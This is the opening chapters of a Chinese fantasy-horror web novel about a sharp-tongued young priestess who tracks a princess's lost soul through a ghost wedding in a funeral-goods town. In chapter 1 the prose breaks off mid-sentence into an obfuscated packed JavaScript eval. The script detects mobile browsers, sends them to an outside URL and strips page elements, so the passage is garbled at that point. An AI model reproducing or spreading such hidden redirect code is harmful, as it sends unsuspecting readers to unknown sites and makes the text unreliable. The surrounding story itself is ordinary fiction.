《无情道师姐想毕业》 1. 三更 “名字。” “不知道。” “叫‘不知道’?为什么取这么个绰号。” 少年微微愣了一下,既而以复杂且幽怨的目光看着乌木桌后面的女子,那目光仿佛是在说:“玩梗很有意思吗?” 她手里捏着一支最小号的朱笔,面前摊开这一本厚厚的线装书,鲜红的朱砂已经滴在了雪白的宣纸上,像极了晕染开的血点子。 女子似乎很是苦恼,久久地皱着眉,一个字也不曾写。 对面的少年一声不吭了,静静地望着眼前的人,似乎要把她看透了,唇角有意无意地勾起一抹笑。 女子身形匀称,玲珑纤细的身躯裹在如烟似雾的黑色轻纱之中,那纱衣也不光是黑色,在木屋烛火的折射下泛着或幽蓝、或暗紫的光泽,微卷的柔发与清消的脸颊都遮在半透质地的薄纱下,仿佛是将星空剪下披在了身上。 但美人一开口就打破了这份美好,她抬起纤长卷翘的翠睫,一双深邃的眼眸直盯着他,连珠炮一般发问:“死因?年龄?家庭住址?” 少年刚张张嘴她直接打断,一把合上了桌案上的线装书。 少年这才看清书封的样子,黢黑的表皮,看不出是什么材质的,三个血红的篆字烙刻其上——百鬼图。 他眸中的惊恐一闪而过,几乎是从椅子上弹起来了,一把纤纤玉手已经按在了肩膀上,耳边的笑意轻淡而冰冷。 “你现在跑出去无异于三岁小儿持金过市。” 少年本来苍白的脸色此时已经半透明,肩膀微微发抖:“你……你是天师?你是不是想拿我练法器?” 女子噗嗤一声笑了,眉眼弯弯如同秋水泛清波,少年看得一愣连忙撇过了脸。 “拿灵魂炼法器可是要遭天谴的,我看起来很像是邪魔歪道吗?” 你不是像,你就是。 少年吓得不敢言语,悄悄观察着眼前女子。 星辰宫修士,皆以身上佩戴的星珠区分等级,星珠越多代表地位、道行越高,法力越强。 一般是降服一只鬼,根据对手的阴气多少,天师获取相应的星珠。这些星珠被天师们或做成手串、或做成项链,平时佩戴在身上显摆……这都是其次了,主要是眼前这位,她她她拿五颜六色的星珠做了一套头帘,看着是很璀璨夺目、异域风情……就这你还告诉我你不是邪魔歪道?你实话说,是不是血洗过十八层地狱?阎王看见你是不是都绕道走的?最可气的是你还一脸无辜,告诉我那是会发光的玻璃珠,真就骗鬼呢! 少年两眼一黑差点撅过去。 就在这时屋外有人敲门,一个年轻的姑娘声音传了进来,气喘吁吁道:“不好了少祭司!宫里出事了,国师又偏偏不在——!” “慌鸡毛啊,这不还有我嘛。” 她漫不经心地制止了侍女的大呼小叫,随手拿起了树枝形灯具上的一根三寸长的白烛,蜡烛有儿臂粗细,底部有银制托柄,不用担心被蜡油滴到。 她突然凑近他,半张容颜在烛火下仿佛能跃刻纸上,“乖乖待着。” 少年本来还想去躲那烛火,却不曾想那火光对自己并无伤害性,这才发觉,她的屋子里点的都是这种白色蜡烛,火焰是蓝莹莹的,蜡油却是红色,如同一滴滴鲜血在银托里晃动。 所幸离梦阁距离皇宫并不远。 “玄烛!你可算来了!快救救孤的姨妹!” 一身玄袍的俊雅男子还不待宫玄烛跪下急忙搀起了她,其实对方也没想跪,立刻直入主题:“哦?请陛下展开说说。” 国主直接推着她往内殿走,脸色阴郁:“情况很是棘手,待会儿你无论看见什么都不要叫出声……家丑不可外扬……” 宫玄烛听到这里直接反客为主,拍了拍国主的肩膀,一副少年老成的派头,语重心长道:“我宫玄烛什么大场面没见过,就我师父那老帮菜都没我能压事,想当年——咳咳,我们先去看病人吧。” 这位皇姨是当今皇后的妹妹,名唤陌菱,妥妥的白富美了,可惜的是人生得意情场失意,偏偏就看上了当朝国师尹星灯,一顿死缠烂打之后成功逼得国师游历四方去了。 自从国师走后皇姨郁郁寡欢了许久,恋爱脑似乎是治好了一些,对国师的爱慕渐渐减淡了,本以为这就算是相安无事了,可谁知就在半个月前,皇姨突然在花园晕倒了,当时有个御医诊断皇姨是花粉过敏……那哥们现在还蹲天牢里呢。 国主陛下对皇姨可谓是宠爱有加,今天宫玄烛要是治不好皇姨,不出意外的话,大牢里应该会少一小单间。 至于之前国主陛下为什么一脸阴郁地说“家丑不可外扬”呢?等宫玄烛见到躺在芙蓉榻上的皇姨时就秒懂了。 小姑娘小脸蜡黄,瘦得皮包骨似的,嘴里还伴随着不可描述的梦呓……给旁边的国主气得差点没当场大义灭亲。 宫玄烛平时装得清纯小白花似的,其实也是老司机一枚,一瞧皇姨的脸色就知道是怎么回事。 这小姑娘是被吸阳气了,嘴唇乌青,娇滴滴一大美人现在跟骷髅架子似的,这鬼简直丧尽天良!别让她逮着,肠子非得给它踹折了! 旁边国主捂着耳朵问宫玄烛:“怎么样?姨妹可还中用?” 宫玄烛放下蜡烛坐床边开始脱鞋了。 墨玉沉的脸瞬间红了,急忙瞥过脸去怒气冲冲道:“宫玄烛,孤王的姨妹危在旦夕你还想着勾引孤!能不能有个轻重缓急了?” 宫玄烛鞋脱一半手指僵硬了,直直地瞅着墨玉沉讲话了:“我只是想躺皇姨身边方便施展术法,可你要这么说我忽然不敢在你眼皮子底下睡着了,谁知道醒来会不会变成贵妃啊!” 气得墨玉沉暴跳如雷:“你以为孤跟你一样没有节操吗!” “那就好那就好。” 宫玄烛松了一口气继续脱鞋,自己的鞋跟皇姨的鞋都摆正,鞋尖正对着床,自袖中摸出百鬼图鉴,从里面翻出两张剪纸小人,闭上眼手掐诀口念咒,其中一个剪纸小人上多了两个字——陌菱。 “陛下,皇姨的魂魄离体太久了,臣会尽力将她带回来,如果五更天还不见剪纸人回来,烦劳您将臣火葬了。” 说完这句她已经闭上了双眼,仰头倒了下去。 “玄烛!” 墨玉沉喊了一声,这时就见她手中的空白符纸人跟有了生命一样,直立了起来,背起另一个符纸人一跃跳下了床榻,借着微风可谓是身轻如燕,如同蝴蝶一般飞出了重重宫阙。 墨玉沉来到床边凝视着薄纱遮面的少女,她昏迷之前紧紧握住了陌菱的手,见此情此景不禁长叹一口气。这丫头一向没大没小的,叫授业恩师最客气的是直呼其名,背后说国师尹星灯鹤发童颜、雌雄莫辨,长得男女老少,这辈子都找不着对象…… 毕竟想刀一个人的眼神是藏不住的,总管内监见国主一直盯着少祭司看,头上的汗水已经能洗脸了,冒着生命危险捂着耳朵进来的,国师走前威逼利诱,一句话就是,在他老人家回来之前,缺德徒弟不能被陛下就地正法了。 总管内监急忙道:“陛下,好歹等皇姨凤体安好了再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489934|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动少祭司也不迟,您说呢?” 不是,孤没想杀她啊,至少现在不想…… 虽然在墨玉沉看来离魂的宫玄烛是皮影形态的,但她自己可不然,依旧是熟悉的身体构造,只不过飞檐走壁更出神入化了些许,兜里就揣着那张写了皇姨名字的皮影。 耳边有清脆的梆子声响,街上孤零零过去一个打更人,腕上拿细麻绳挑着泛黑的铜锣,手里提着一盏昏暗的纸灯笼,小棒槌敲下去,嗓子扯开一声穿透街巷——夜半子时! 更夫这一声仿佛是发出了某种信号,这条长街,乃至于整个世界都陷入了一片诡异的死寂之中,子时,阴气最重,阳气最弱。 一片乌云渐渐笼罩住了月亮,惨淡昏白的街上,那更夫的影子已经看不见了,而本来空无一人的长街上也渐渐热闹起来了,迎面披红挂彩一送亲队伍,吹拉弹唱浩浩荡荡,眼看离老更夫越来越近。 老更夫依旧晃晃悠悠,走得不紧不慢,他自自南向北,那送亲队伍自北向南,双方愈走愈近,距离不断缩短。 老更夫点起了腰间的旱烟杆,深深地吸一口再吐出一圈云雾来,仿佛眼前什么也没有,又或者,他只是假装看不见而已。 那仪仗队自发让开一条小道,老更夫刚好从中间穿过,依旧走得不紧不慢,晃晃悠悠。 自古以来,像打更人、侩子手、连线师这些人,都是世代相传、子承父业的,因为一般人干不来,身上煞气重,八字镇得住阴灵邪祟,他们世代相传的打更锣、鬼头刀都是煞器,是故百鬼不侵。 历代打更人出夜前会用麻绳将铜锣绑在手腕上,巡夜过程中,锣就是打更人的命,掉在地上大不详。 宫玄烛站在屋顶上全程看完了一切。 那老更夫已经穿过了仪仗队,依旧慢吞吞地笃着步。 喜庆的诡乐又演奏起来,宫玄烛看见,为首一个骑着白马,身穿红袍,头戴乌纱,耳边还别了一支红花,乌发飘飘,唇红齿白,真有探花郎游街夸官的风范。 他走出去几里地,似乎察觉哪里不对,转头看了回来,字面意思上的,脑袋全方位无死角地转了一圈,瞬间仿佛变了一张脸,嘴歪眼斜,瞪着一双流血的死鱼眼,血红的嘴角不可思议地裂到了耳后根,脸仿佛涂了一层腻子,泛着青白色,他就这么歪着头注视着空荡荡的街道,周围一切仿佛都定住了一般,连阴仆手里的旗子都停止了飘动,只有新郎官的两页帽翅在诡异地上下颤动,而宫玄烛早已念决隐藏了身形。 新郎官未察觉异样,继续策马而行,脑袋也拧了回去。 宫玄烛快步跟上了他们,一直保持着不远不近的距离,跟着红得晃眼的迎亲队伍没有任何障碍出了皇城。 黄白纸钱如同雪花一般漫天飞舞,远处呜呜咽咽的声音忽远忽近,似是在欢呼,夜晚迎亲对于它们来说也是一件喜事。 残破的白灯笼挂在荒宅大门上,随着阴风打着旋儿,那破旧的窟窿仿佛一双深不见底的邪恶眼睛在盯着着不远处的活人。 很奇怪的景象,一道牌坊似乎隔绝了两个世界,荒镇外面漆黑一片,里面却有暗暗的光芒,随着迎亲队伍进入破旧而歪歪扭扭的宅子里,宫玄烛就看见一道道白影也跟着一阵风似的刮了进去,仿佛里面有什么奇珍异宝似的。 宫玄烛一脚踏入牌坊里,霎时间感觉浑身一冷,寒意顺着自己迈出去的左脚延伸上来,她抬头一看,一个白色身影就坐在牌坊顶上,宽大的裙摆轻轻舞动,发出哗啦哗啦的声响,不像布料像是纸,隐约能看到牌坊上的字——槐荫镇。 2. 新娘,我 宫玄烛好事地后退几步,想看看这东西的脸,一阵阴风沁入骨髓,浑身都立起了鸡皮疙瘩。 一团惨白的东西出现在了宫玄烛眼前,那距离近在咫尺,它居然从牌坊上直接落到了宫玄烛面前,而那惨白的一团并不是这东西的脸,而是一片盖在它脸上的白纸。 宫玄烛伸手去揭开白纸,那东西仿佛被吹到的羽毛一样一退数丈远,站在了挂白灯笼的荒宅门口,然后向里面一闪。 宫玄烛一脚踏入槐荫镇,一股寒气顺着脚心直窜天灵盖,瞬间到了荒宅门口,里面是一方庭院,零零星星摆着几张落满灰尘、歪歪扭扭的破旧桌子,宫玄烛看着那些桌子在轻轻晃动,就仿佛有人在摇晃一样,沾满灰尘的桌面仿佛一块画布,上面的手印越来越多,也越来越杂乱。 宫玄烛睁一眼闭一眼,场景立刻变了,眼前不是荒宅,而是喜堂,红烛摇曳,宾朋满座,推杯换盏好不热闹,而桌上的食物无一不是阴森森的、冷冰冰的纸扎货。 宫玄烛接住空中一张纸钱贴在了自己左眼上,右眼看到的就是血红的诡异喜堂,若是直接把它当作荒宅走进去,可能会打扰到别人,绕过桌椅,穿过喜堂,是一条长长的游廊,游廊尽头的房间里亮着灯,宫玄烛刚走过去,房间的门忽然吱呀一声,一只大红朝靴伸了出来,宫玄烛脸色忽然一变,若是顺着这靴子看上去,应该能和新郎撞个脸对脸。 来不及了,不然就直接开打吧,打得过算我幸运。 刚拿出未燃起的辟邪魂灯,眼前忽然白影一闪,正好挡住了迈步出门的新郎的视线,宫玄烛见异变突生,抓住机会脚底生风躲到了身后的槐树背面。 又是它,那个浑身白刷刷的纸人,它居然帮我,还是别有目的?不行,这种玩意儿不会无缘无故帮我,定是要让我付出代价,我还是先下手为强,连它一起收拾了。 宫玄烛估摸着新郎已经走了,悄悄探出一点脑袋去查看房间四周的情况,前面没有、左右两侧没有、房顶也没有……忽然感觉背后一阵发凉,脊背上汗毛直竖起来,宫玄烛一转头眼前就是一黑,撞得她眼冒金星,左侧颧骨一阵麻木,接着是火辣辣地疼,都快没有知觉了,再一睁眼,前面是黑漆漆一面墙,左眼上贴得纸钱都撞飞出去了,瞬间回到了现实,华丽的豪宅又变成了荒宅。 宫玄烛迅速拿符纸贴在左眼上,瞥见一角白衣消失在了墙头。 果然又是那个纸人,刚才它想做什么?大概是没料到我会忽然回头,所以我刚才是撞它身上了,明明是纸做的,怎么跟石头一样硬邦邦的。 宫玄烛顾不上麻木的颧骨,趁新郎离开迅速进入婚房里。 屋子里一股腐朽的怪味,仿佛是食物放了好几天坏掉了一样,臭味、霉味夹杂在一起,熏得人想吐。 宫玄烛大致扫了两眼,看见一身红色龙凤褂的新娘坐在西窗前,长发散开,正在一下一下梳头发,那头发长得拖到了地上,瘦成皮包骨的爪子握着一把骨梳,撩起一缕长发从头输到腰,顺滑地仿佛一匹绸缎。 宫玄烛上去就抓住了她的手,夺过梳子:“别梳了!命都快梳没了!” 刚说完就见镜子里是一张喜床,床上坐着一个人,盖着红盖头,一双小脚被红裙盖住了大半,小手交叠在膝面上。 镜子里那个是陌菱的话,那我手里抓的这位是? 镜子前梳头的女人已经嘎吱嘎吱地转过了脸,左半边是血肉,额头有一个血窟窿,眼睛只有眼白和血丝,右半边是骷髅白骨……宫玄烛感觉一只指甲尖利的手已经摸上了她头顶,刺刺地正要往她头皮里抓进去。 “得罪了!” 宫玄烛抬腿照女人肋骨上就是一脚,紧接着腰一拧,在尚未落地之前又送上一脚飞踹,半张脸的女人,脑袋卡进了铜镜里,两条腿无力地垂在外面,尖利的指甲刺啦刺啦挠着桌子,那声音听得宫玄烛想一头把自己撞晕了,铜镜碎片似乎嵌入了女人的脖子里,发黑的血液顺着桌面流了下来,滴答滴答淌在地上,血越流越多,汇聚成几条蜿蜒的小蛇往宫玄烛脚下赶了过来,她迅速后退几步寻找对策。 该死的,忘记了皇姨还在镜子那边,这下镜子被堵住了,我该怎么过去? 宫玄烛想了想,觉得有些蹊跷,镜子那端应该已经是另一个世界了,皇姨大概早就被什么东西拉入鬼门关了,这死鬼新郎娶的什么估计自己都不知道。 门又是嘎吱一声,宫玄烛迅速扯下窗帘盖住了整个梳妆台,自己顶了一片桌布坐到了床上。 左眼上贴着的符纸已经飘到了门口的地板上,透过缝隙,她眼中的房间是破破烂烂的一间废弃杂物间,到处堆着稻草、破旧衣服、纸窗漏着风,一双大红朝靴出现在了她眼前,往上看是红色的袍子。 她扔下的驱邪符居然没被他踩到,算他幸运。 头顶传来一个声音,仿佛在轻笑,像是半死不活快要入土为安了,盖头被揭开,宫玄烛早就瞪大了眼睛准备一览对方尊容,却吃惊不小,没有想象中花红柳绿或者是嘴歪眼斜,而是一张惨白却极为好看的脸。 新郎分明是她便宜师父尹星灯的模样……难怪啊,会迷得皇姨神魂颠倒、乐不思蜀。 那新郎惨白且骨瘦如柴的双手扶住了她,渐渐靠近,双手捧着她的脸,宫玄烛明显感觉到,腰身也被什么东西握住了……淦了!这玩意儿到底几只手?八爪鱼吗? 不由分说就要压着宫玄烛往身后的棺材里倒去,没错,身后的床其实是一口空棺材。 宫玄烛的手死死撑着棺材沿,身上的压力越来越大,她感觉自己的手都快骨折了,却苦苦支撑着,万一真被压到棺材里就惨了,里面狭小窄短,再无翻身的可能。 新郎似乎也觉察到了不对,先前对早就百依百顺的娘子怎么忽然抗拒起他来了,脸上闪过不悦。 然后宫玄烛就听见棺材里悉悉索索的声音,有很多东西在爬动,像是什么虫子,一点点顺着棺壁爬了上来,宫玄烛顾不上回头看,死死盯着眼前的新郎,他的脸已经有些变形了,薄薄的皮肤下似乎有什么东西在蠕动,脸皮被撑得一会儿鼓起一会儿下陷,而且整张脸都是这样,就好像是一张幕布摆在 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地上只剩一条暗红色的管状物,估计是那东西的舌头之类的,刚才在宫玄烛的助力下被主人活生生咬断了,舌头在地上仿佛一条蛇,半截子伸了起来,宫玄烛没空理会,天快亮了,得先回去,再完一步就要被火化了。 收工收工,改日带好家伙甚,摇好人再去冥界救皇姨吧,掐掐日子还有六天呢,来得及来得及。 皇姨最终还是没醒过来,墨玉沉痛哭流涕:“前几日她还说宫殿潮湿,住着不舒服,怎么如今就……陌菱啊!是孤王对不起你!” 于是宫玄烛吊儿锒铛入狱跟御医攀谈。 御医灰头土脸一脸倒霉相,正无聊得拿稻草编蚂蚱,看到宫玄烛进来眼睛瞬间亮了:“少祭司,你怎么也进来了?” 宫玄烛进去坐他隔壁的小单间,一脸的“我自愿”,冷哼道:“那你怎么进来的?” 御医叹气:“一天前,陛下宣我入宫,说治不好皇姨让整个太医院陪葬,我就蹲这儿了。” 宫玄烛习以为常地点点头表示理解:“陛下也说,治不好皇姨就让整个星辰宫陪葬,我就蹲这儿了。” 御医眼含热泪,看着少祭司觉得越发亲切:“那您是代表星辰宫来蹲大牢的吗?” 宫玄烛冷笑两声:“星辰宫里一共就四个人,一个是大皇姨,一个床上躺着,一个外面浪着。” 御医点点头:“我要是陛下我也拿你开刀,柿子挑软的捏,人挑脓包的揍。” 宫玄烛一举手向外面的狱卒打小报告:“我举报,这儿有人想谋反!” “欸欸欸!少祭司,患难与共患难与共啊!百年修得同船渡,千年修得同牢蹲,不至于啊,真不至于!” 于是两位同道中人开始商量脱困之法,互相交换情报。 御医回忆往昔:“那天皇姨走进花园里,好像是崴了脚,回去之后便晕倒了,头上有不少花粉,脸上也落了些许……或者,是被蜜蜂蛰伤了。” 宫玄烛:“那你为什么说她花粉过敏?” 御医一脸无辜:“开个小玩笑嘛。” 宫玄烛:“……” 你还是死这儿吧,庸医! 3. 老登,师父回来啦 宫玄烛想来想去,从兜里又摸出一张皮影,放了点血让它去干活,本体在天字二号小单间沉睡着。 皮影溜出去跑到了未央宫,看到陌菱还在沉睡,脸色愈发惨白了,她打通神识,回溯到两日前,看着陌菱从未央宫出去,于是一直跟在她身后,看着陌菱果然是走进了御花园,走走停停、一脸忧郁,坐在秋千架上托着雪腮,屏退了所有宫女,宫玄烛看她似乎在呢喃着什么,细细分辨唇形,说的是——国师。 唉,落花有意流水无情啊。 皇姨出事都两天了,尹星灯还是游历在外,好歹也是他的徒弟,竟然真的不管不顾。 宫玄烛盯着陌菱看了一会儿,昏昏欲睡,忽然感觉脸蛋疼疼的,还有一个声音在她耳边回响:“少祭司,醒醒啊!哎呀,扇了两巴掌也不管用,要再来两下吗?” 别打了别打了! 宫玄烛欲哭无泪间忽见陌菱晕倒了,几个宫女慌慌张张过来扶着她回宫。 宫玄烛连忙过去,重新走一遍皇姨走过的路,走到一处脚下果然一跌,她移开脚,地上一片黑乎乎的东西,像被踩扁的死虫子,腿还特别多,恶心得要命。 继续往前走,一无所获。宫玄烛又只好原路返回,继续研究那黑乎乎的死虫子,被踩扁了看不出是什么物种,只觉得恶心,尤其现在还是皮影形态,那干瘪的死虫子看着格外瘆人,绿色的汁液渗入的砖缝里,躯壳紧紧粘在地面上,还有一股若有若无的恶臭。 等等。这股味道,她在槐荫镇也遇到过,荒宅、新郎、棺材、还有虫子! 宫玄烛刚理清思路,忽然感觉自己的视野一下子抬高了许多,眼前不是低矮的花草,而是树叶枝桠、宫玄烛转了个身,对上了一张放大的人脸,点墨似的瞳孔有如蒙着一层寒冰,高挺的鼻梁如耸立的山脊,薄唇略显苍白,三千银丝如同悬泉飞瀑、垂泻而下……紫袍鹤氅仙风道骨。 宫玄烛一个趔趄差点摔倒。 老登回来了? 尹星灯将她从地上捧起来,指尖轻轻戳她脑袋,轻笑一声山温水暖却带着一股疏离:“宫玄烛,又给本座抓到了,这次就罚你禁足十日。” 凭什么!我是为了查案! 宫玄烛气得在他手心里跳脚,后者一个凝眉她就不敢炸刺了。 “莫非是想抄一百遍《凝星占》?” 好汉不吃眼前亏,宫玄烛乖乖从他手心里跳下去,一溜烟回了大牢。 大概又蹲了半个时辰的大牢,师父终于来领她回家了,站在烛光昏暗的大牢过道里,衣摆上的星云暗纹熠熠生辉,伸手摘去她头上的稻草,素来古井无波的面容似乎带了一丝戏谑:“住的可还习惯?” 自家徒弟身陷囹圄,遭此无妄之灾,师父却喜大普奔、隔岸观火看热闹!天理何在! 宫玄烛敢怒不敢言,咬牙哼哼唧唧:“舒坦得很。” “看来本座是自作多情了。” 他转身欲走,宫玄烛连忙追出了大牢,混迹在庙堂之上与江湖之中,她已经惯会伏低做小,苟且偷生:“师父!别介啊!那个,皇姨怎么样了?” 尹星灯一手背后,步履从容地走在前面,一改之前与宫玄烛插科打诨的轻松神色,语气淡淡道:“你不是已经查清了吗?” 宫玄烛闻言一愣,怔住了片刻,这才慢慢找回自己的声音:“什么意思!你不打算出手啊?” 过道里的气氛忽然变得沉闷起来,周围空气似乎凝固了,尹星灯连脚步都未停留,衣袂飘飘,语气淡漠地仿佛片片薄雪飘落。 “你自己就可以处理妥当。”话音未落人已经出了天牢,连飘摇的衣摆都显得那么冰冷。 宫玄烛死死盯着天牢门口刺目的一团白光,一股无名火直冲天灵盖,对着空气一顿破口大骂:“好你个老壁灯!到底是谁徒弟啊,什么都推给我,要你干嘛吃的?” 气得狠狠踹了铁门一脚,锁链哗啦作响,一路疾驰走到星辰宫门口,还么进去就听见一个温婉中沾点清冷的声音道:“师父回来了,一路可还顺遂。” 那声音淡淡,带着弟子该有的谦恭和谨慎。 “嗯,为师这段时日不在星辰宫,瑶儿可有偷懒?”笑意温和,喁喁细语。 “弟子岂敢荒废课业,师父若是不信,尽管考校便是。” “你啊,为师怎么会不信你,这次出门游历为师带回来了一些适合你的法器。” “多谢师父。”少女声音依旧淡淡,听不出来有多欣喜,仿佛只是随声应和两句。 “跟为师还这么客气。”语带嗔怪,更多的却是温和与关怀。 宫玄烛的脚步顿在星辰宫银雕玉砌的大门口许久,等里面两人离开了才缓缓走进去。她倒不是嫉妒林瑶,只是有点想不明白,同样是徒弟,尹星灯的态度为何天壤之别,难道只是因为陌菱对他生了妄念吗?何至于见死不救? 不,宫玄烛很快就否定了这个猜测,因为细细回想起来,从小到大,尹星灯都不怎么在意陌菱,眼里只有个林瑶,偶尔也搭理自己两下。 宫玄烛倒是无所谓,反正她看尹星灯也没多顺眼,做他弟子只等有一天继承星辰宫就好了。 至于那陌菱到底怎么想的,宫玄烛也懒得管了,反正她跟这个便宜师妹也没多深厚的感情,把人从鬼门关拉回来就成。 …… 宫玄烛待在木屋里画地图,准备救人的道具,翻开厚厚一卷《幽冥诡事录》查看上面的记载:十五日子时,槐荫镇阴气最盛,持有六界通行令牌。与鬼卒对切口,可过鬼门关。 她纤细的手指顺着冥河划过,城隍庙、鬼门关、望乡台、孟婆驿、枉死城……道道关隘被血色的忘川连成一线,而每道关隘都有鬼将坐镇,玄门中人混进去到底危险重重。 小木屋房顶上、柜子里不断发出悉悉索索的声响,着实烦人。 修仙讲究艰苦朴素、所以她放着宫府不住跑到了星辰宫后山上,圈了一块地清修,可是满山的耗子、黄鼠狼也看上了这块宝地,日日跟她争夺这片风水宝地。 那捡回来的少年,宫玄烛给随便取了个名字,叫林夕,独居山林,且惜晚照,就是希望他能安静一点,而不是像现在这样蹑手蹑脚地去捉老鼠,宫玄烛看着他拿了个洗脸盆猫着腰过来过去,老鼠吱吱慌不择路地满屋子逃窜,叮呤哐啷——一片惨不忍睹的声音,锅碗瓢盆跳了一地。 林夕努力好久,终于捉了一只老鼠,刚准备拿出去准备放生,宫玄烛直接一把指甲刀飞过去命中要害。 林夕吓得一甩手,身上冒血的死老鼠飞出了门:“少祭司!你这是干什么?” 宫玄烛轻吐一口浊气,重新心平气和地看地图,眼睫毛都不抬一下:“小小耗子居然敢在我底盘上撒野,找死。” 林夕心有余悸地看看门口横死的老鼠,又看看稳坐桌案后面的宫玄烛,低声嘟囔道:“万物有灵,少祭司这样做不怕造报应吗?” 宫玄烛抬眼:“报应?你倒提醒了我……” 她当即就赶往未央宫,伸手在皇姨额头上一戳,皮肤居然扁下去了,无数大小蚰蜒爬了出来,密密麻麻一窝争先恐后地从陌菱耳朵里、鼻孔里钻出来,仿佛一片黑水从床上流到地板上,一见火光登时作鸟兽散。 宫玄烛冷笑:“还真是这东西,敢害我身陷囹圄,我必让你断子绝孙。” 她命人从御膳房拿了一桶香油,掂着桶底泼在了犄角旮旯里,耐心等了一炷香左右,果然引出了它们,宫玄烛一把火直接烧了璇玑殿,林夕站在远处目睹了这一切,不禁摇摇头,这女人还真是睚眦必报啊,果然是比鬼都横。 已经是第三天了,头七一过阳魂彻底变成阴魂,就真的回天乏术了。 陌菱怎么既招惹上妖界又招惹上了冥界?宫玄烛百思不得其解,那个新郎是妖无疑,陌菱身体里爬出来的蚰蜒也证明了这一点,然而两日前的荒宅里确实又出现了许多非人之物,陌菱现在阳魂离体,被困在冥界,如今看来只能是有人借刀杀人,将火引到妖界。 白天的槐荫镇,看起来就是个普普通通、人烟稀少的小镇子,行人稀稀疏疏地走过,店铺大多数开着,店铺门口零零星星摆放着大红大绿的花圈、寿衣……槐荫镇就是以卖丧葬物品为生的。 天色渐暗,宫玄烛随意在街上转了转,一个半大的碧衣少女慌慌张张与她撞了个满怀。 “对不起对不起!我急着赶路!”少女嘴上道歉,脚步并不停,反倒越走越快,最 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宫玄烛说完客套话,抬头一看才发现面前是个姑娘,跟自己差不多大的年纪。 姑娘似乎有些为难,既不忍心拒绝宫玄烛,又怕惹祸上身。 宫玄烛低笑道:“老板只管回房睡觉,我在店里坐一晚就行,少了什么东西你只管找我赔。” 姑娘见话都说到这份上了,只好侧身让宫玄烛进去,其实店里也没什么,就是一些纸人纸货,只要是脑子没病就不会去打这些东西的主意。 宫玄烛的目光在店里打量一圈,发现那些纸人扎得简直是巧夺天工,而且,这店里多是新娘纸人,手指交叠在小腹前,衣上花纹富丽堂皇,简直比宫中嫔妃的宫装还华丽上三分。 “这是店主的手艺?当真是让人大开眼界。”宫玄烛由衷地赞叹道。 姑娘有些局促地道:“您过奖了,”她走到旁边剪掉一段灯花,将蜡烛放在桌子上,“您随便坐,有什么需要就喊我。” 宫玄烛道了谢,姑娘便转身上楼了。 纸扎店里只剩下宫玄烛一人以及那些大大小小的花圈和几个惟妙惟肖、重工打造的纸新娘。 离子时尚有两三个时辰,宫玄烛就欣赏店里那些纸扎作品,阴宅、元宝、纸轿、纸马……样样都逼真至极,仿佛实物缩小了一样,然而,当看见一样东西时,宫玄烛眼皮跳了跳,那是一桌纸扎的饭菜。 惨白的豆腐块、红彤彤的丸子、剪出枝干茎叶的白菜、饺子上的褶皱都清清楚楚……一张纸压在纸盘子下面,宫玄烛淡淡扫去,看到了这样几行字迹:七月十三日,石员外之子订十桌纸扎贡品,龙凤花烛八对、纸钱二十沓、纸新娘一个。 指尖不由自主地轻叩桌面,宫玄烛大概明白了,荒宅里和妖物结冥婚的并不是陌菱,那个半张脸的长发女人应该是纸新娘被孤魂野鬼附身了,而鬼新郎又阴差阳错被妖物代替了,当真是有趣得紧。 笃笃笃—— 木门被叩了三下,万籁俱寂的黑夜里却听着格外清亮,宫玄烛一下子回过神来,目光对上了被门闩插死的木门。 笃笃笃—— 门又被敲了三下,宫玄烛已经反手握住了背后的辟邪魂灯,整个人高度紧绷,双眼死死盯着门闩,脑海里迅速闪过几个念头:这敲门声急促有力,外面是个成年男子,鬼新郎?白衣少年?还是蚰蜒精? 叩门声再次想起,宫玄烛一咬牙关,发出了短促的音节:“谁?”声音有些微微的颤抖。 敲门声没有再响起,那人似乎是愣了一下,随后二楼传来了噔噔噔的脚步声,年轻的店主人跑了下来,居然伸手就要去拔门闩,宫玄烛立刻制止了她:“当心,外面可能有别的东西。” 店主人一脸惊讶道:“怎么会呢?”她微微一笑,解释道:“你别怕,咱们槐荫镇虽然做这些丧葬用具,但没有闹过什么不干净的东西。” 说着,她已经取下了门闩,冷风带着街上了纸钱钻进了屋里。 好吧,其实也说不清到底是这屋子里危险还是大街上危险,毕竟满屋子都是逼真的纸新娘,要是混进去一个真的,那也没地方讲理去。 4. 小道士有两下子 两扇木门敞开,下一刻,一个身形颀长的黑衣人走了进去,烛光映照下,宫玄烛这才发现对方一副山雪劲松的姿态,山眉水目、温雅有余,即使背了把阴森可怖的鬼头刀看起来也十分面善,让人毫不怀疑他是名门正派。 而一身绣莲花纹的玄袍代表了此人的身份——芙蕖观弟子。 宫玄烛瞥了那人一眼,语气不善:“裴暮雪,你来这儿做什么?” 后者早已施施然坐下,一副自来熟的模样:“来吃饭。” 宫玄烛知道对方是在消遣自己,也不气恼,自顾自坐在了旁边太师椅上。 裴暮雪看向了店主人,居然罕见地笑了一下:“我说今日琼儿怎么开门这般迟,原来是在招待客人。” 琼儿微微一笑:“裴道长又接到祈愿了吗?” 二人你一言我一语,居然是早就认识的。 “不知少祭司来这红线坊有何贵干啊。”裴暮雪似是随口一说,并没有兴趣听对方的答案,兀自抿着热气氤氲的茶水。 “红线坊?”宫玄烛进来的时候没有注意店铺名字,如今听他说起,觉得有些诡异,一个纸扎店叫红线坊,是为了给死人牵红线么,当真有意思。 裴暮雪笑而不语。 夜半子时—— 更夫清亮的梆子声敲了三下,仿佛近在耳畔,又仿佛远在天边,这让寂静的小店里更添一丝紧张的气氛。不知从哪里吹进来的风,纸新娘的衣摆哗啦作响,她们典雅端庄地站着,头上的盖头、身上的飘带微微摇晃,盖头不停被风掀起一角,隐约能看见最前面一个纸新娘苍白的脸和血红的唇,仿佛真的活过来了一样。 哐当一下,最前面一个纸新娘被风吹倒了,质量还挺好,摔破了一点纸糊的衣服,透过破洞可以看到里面是竹编骨架,有规律的纵横交叉,仿佛人的肋骨。 